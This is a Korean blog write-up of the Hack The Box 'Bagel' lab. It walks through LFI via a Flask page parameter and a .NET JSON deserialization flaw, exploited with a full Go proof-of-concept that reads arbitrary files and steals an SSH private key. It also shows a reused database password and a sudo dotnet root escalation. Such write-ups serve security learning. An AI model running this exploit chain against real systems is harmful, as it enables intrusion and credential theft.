Port Scan

대상에서 오픈된것으로 확인되는 포트는 다른 머신과 동일하게 22/tcp, 5000/tcp. 8000/tcp로 확인으며, bagel.htb 도메인으로 확인되었다.

naabu -host 10.10.11.201 -p - --nmap-cli "nmap -sV"

8000/tcp는 Flask 웹 서비스로 확인되어 브라우저를 통해 http://bagel.htb:8000/에 접근하니 /?page=index.html# 경로로 리다이렉트 되면서 아래와 같은 메인 페이지를 확인할 수 있다.

Attack - LFI

page 파라미터로 LFI 공격을 시도했으며 매우 쉽게 공격이 성공되는것을 파악할 수 잇었다.

생각해보면 핵더박스 리눅스 머신 문제는 대부분 LFI로 시작하는것 같다...😅

/etc/passwd

/proc/self/environ

/proc/self/environ을 확인하니 8000/tcp로 구동중인 Flask는 developer 계정으로 구동중인것을 확인할 수 있었다.

SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt를 통해 리눅스 로컬 파일에서 중요정보를 찾아보려했으나 쓸만한 내용은 없었다.

/proc/self/cmdline

이후 Flask를 구동중인 python 코드를 찾기위해 /proc/self/cmdline파일에 접근했고, 웹 루트 디렉터리는 /home/developer/app/app.py인것을 파악했다.

/home/developer/app/app.py

app.py 파일의 내용은 다음과 같다.

라우팅은 /, /orders로 확인됐으며 order() 함수의 주석 부분에서 dotnet을 통해 WebSocket 서버를 먼저 구동해야되는것으로 예상된다.

from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json

app = Flask(__name__)

@app.route('/')
def index():
        if 'page' in request.args:
            page = 'static/'+request.args.get('page')
            if os.path.isfile(page):
                resp=send_file(page)
                resp.direct_passthrough = False
                if os.path.getsize(page) == 0:
                    resp.headers["Content-Length"]=str(len(resp.get_data()))
                return resp
            else:
                return "File not found"
        else:
                return redirect('http://bagel.htb:8000/?page=index.html', code=302)

@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
    try:
        ws = websocket.WebSocket()    
        ws.connect("ws://127.0.0.1:5000/") # connect to order app
        order = {"ReadOrder":"orders.txt"}
        data = str(json.dumps(order))
        ws.send(data)
        result = ws.recv()
        return(json.loads(result)['ReadOrder'])
    except:
        return("Unable to connect")

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=8000)

/proc fuzzing

WebSocket 서버로 예상되는 특정 dll파일을 찾기위해 LFI를 통해 /proc/PID/cmdline 부분을 퍼징했고 아래와 같은 PID에서 dotnet이 돌고있는것을 파악할 수 있었고 dll 경로는 /opt/bagel/bin/Debug/net6.0/bagel.dll로 확인된다.

다시한번 LFI로 bagel.dll파일을 다운로드하였으며, .NET으로 개발된 dll인것도 확인했다.

.NET(dll) Decompile

유니티 게임에서도 .NET을 사용하는데 이때 mono로 빌드할 경우 빌드 패키지 내 dll들을 dnSpy를 이용하여 디컴파일해 소스코드를 분석 할 수 있었는데, 이번에도 다운로드한 bagel.dll을 dnspy를 통해서 분석한다.

bagel_server.Bagel 클래스 생성자에서 ServerPort부분을 통해 위에서 예상했던 WebSocket 서버가 해당 dll인것을 파악

static Bagel()
{
	Bagel._ServerIp = "*";
	Bagel._ServerPort = 5000;
	Bagel._Ssl = false;
	Bagel._Server = null;
}

bagel_server.Bagel.MessageReceived 함수에서 WebSocket(ws://bagel.htb:5000/)로 전달된 JSON을 역직렬화하여 오브젝트로 변환하여 Newtonsoft.Json.JsonConvert.SerializeObject를 통해 직렬화하고 처리한다.

private static void MessageReceived(object sender, MessageReceivedEventArgs args)
{
    string json = "";
    bool flag = args.Data != null && args.Data.Count > 0;
    if (flag)
    {
        json = Encoding.UTF8.GetString(args.Data.Array, 0, args.Data.Count);
    }
    Handler handler = new Handler();
    object obj = handler.Deserialize(json);
    object obj2 = handler.Serialize(obj);
    Bagel._Server.SendAsync(args.IpPort, obj2.ToString(), default(CancellationToken));
}

bagel_server.DB.DB_connection 함수에서 데이터베이스 계정 정보 파악

public void DB_connection()
{
	string text = "Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K";
	SqlConnection sqlConnection = new SqlConnection(text);
}

전 직장에서 Newtonsoft JSON을 통해 역직렬화 시 발생할 수 있는 취약점을 많이 점검했었다. 그렇기에 이 문제는 무조건 역직렬화 취약점일것으로 예상되어 Handler 클래스의 직렬화/역직렬화 함수를 확인해보니 직렬화/역직렬화 과정에서 TypeNameHandling 설정이 취약하게 구성되어있는 것을 파악할 수 있었다.

namespace bagel_server
{
	// Token: 0x02000005 RID: 5
	[NullableContext(1)]
	[Nullable(0)]
	public class Handler
	{
		// Token: 0x06000005 RID: 5 RVA: 0x00002094 File Offset: 0x00000294
		public object Serialize(object obj)
		{
			return JsonConvert.SerializeObject(obj, 1, new JsonSerializerSettings
			{
				TypeNameHandling = 4
			});
		}

		// Token: 0x06000006 RID: 6 RVA: 0x000020BC File Offset: 0x000002BC
		public object Deserialize(string json)
		{
			object result;
			try
			{
				result = JsonConvert.DeserializeObject<Base>(json, new JsonSerializerSettings
				{
					TypeNameHandling = 4
				});
			}
			catch
			{
				result = "{\"Message\":\"unknown\"}";
			}
			return result;
		}
	}
}

참고
Attacking .NET deserialization - Alvaro Muñoz
Exploiting JSON serialization in .NET core
JSON.NET Deserialization

TypeNameHandling = 4(TypeNameHandling = TypeNameHandling.All)
설정은 직렬화/역직렬화 시 클래스명을 지정할 수 있는 취약한 부분이 존재하여 TypeNameHandling.None(기본값)으로 설정해야된다.

.NET Deserialization Attack

결과적으로 LFI를 통해 확인한 bagel.dll을 분석하여 다음과 같은 PoC 코드를 작성 할 수 있었다.

package main

import (
	"encoding/json"
	"flag"
	"fmt"
	"os"

	"github.com/gorilla/websocket"
	"github.com/projectdiscovery/gologger"
)

type RemoveOrderResponse struct {
	UserID      int    `json:"UserId"`
	Session     string `json:"Session"`
	Time        string `json:"Time"`
	RemoveOrder struct {
		Type      string `json:"$type"`
		ReadFile  string `json:"ReadFile"`
		WriteFile any    `json:"WriteFile"`
	} `json:"RemoveOrder"`
	WriteOrder any `json:"WriteOrder"`
	ReadOrder  any `json:"ReadOrder"`
}

func main() {
	flag.Usage = func() {
		flagSet := flag.CommandLine
		fmt.Printf("Usage of %s:\n\n", os.Args[0])
		order := []string{"p"}
		for _, name := range order {
			flag := flagSet.Lookup(name)
			fmt.Printf("-%s\t%s\n", flag.Name, flag.Usage)
		}
	}
	payload := flag.String("p", "", "Enter the path to the file to read")
	flag.Parse()

	if flag.NFlag() != 1 {
		flag.Usage()
		return
	}

	url := "ws://bagel.htb:5000/"
	conn, _, err := websocket.DefaultDialer.Dial(url, nil)
	if err != nil {
		gologger.Fatal().Label("SOCKET-CONNET-ERR").Msgf("%s\n", err)
	}
	defer conn.Close()

	data := `{"RemoveOrder":{"$type":"bagel_server.File, bagel", "ReadFile":"../../../../../..` + *payload + `"}}`
	if err != nil {
		gologger.Fatal().Label("SEND-DATA-GEN-ERR").Msgf("%s\n", err)
	}

	err = conn.WriteMessage(websocket.TextMessage, []byte(data))
	if err != nil {
		gologger.Fatal().Label("SEND-ERR").Msgf("%s\n", err)
	}
	gologger.Info().Label("SEND").Msgf("%s\n", data)

	_, respData, err := conn.ReadMessage()
	if err != nil {
		gologger.Fatal().Label("RECV-ERR").Msgf("%s\n", err)
	}

	resp := RemoveOrderResponse{}
	err = json.Unmarshal(respData, &resp)
	if err != nil {
		gologger.Fatal().Label("RECV-DATA-PARSE-ERR").Msgf("%s\n", err)
	}

	fmt.Printf("%s", resp.RemoveOrder.ReadFile)
}

이를 통해 WebSocket 서버(bagel.dll)은 phil 계정을 통해 동작하고있고 /home/phil/.ssh/id_rsa를 탈취할 수 있었다.

SSH Access

id_rsa 파일을 이용하여 phil 계정에 ssh로 접근할 수 있었다.

위에서 bagel.dll의 코드를 디컴파일하여 확인한 DB 클래스의 DB 계정 정보를 확인된 유저인 developer, phil에 대입했으나 ssh 설정이 패스워드 로그인이 비활성화 되어있어 사용 불가능했음

Privilege Escalation

sudo 권한을 확인해보려했으나 위에서 확인한 DB 계정 정보의 패스워드로는 불가능했다.

그래서 해당 정보를 통해 developer 계정으로 로그인 시도했으며, 로그인에 성공했다. (developer:k8wdAYYKyhnjg3K)

바로 sudo 권한을 체크해보니 dotnet이 루트로 실행 가능했다.

dotnet LPE 트릭을 통해 쉽게 루팅이 가능했다 :)

done

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글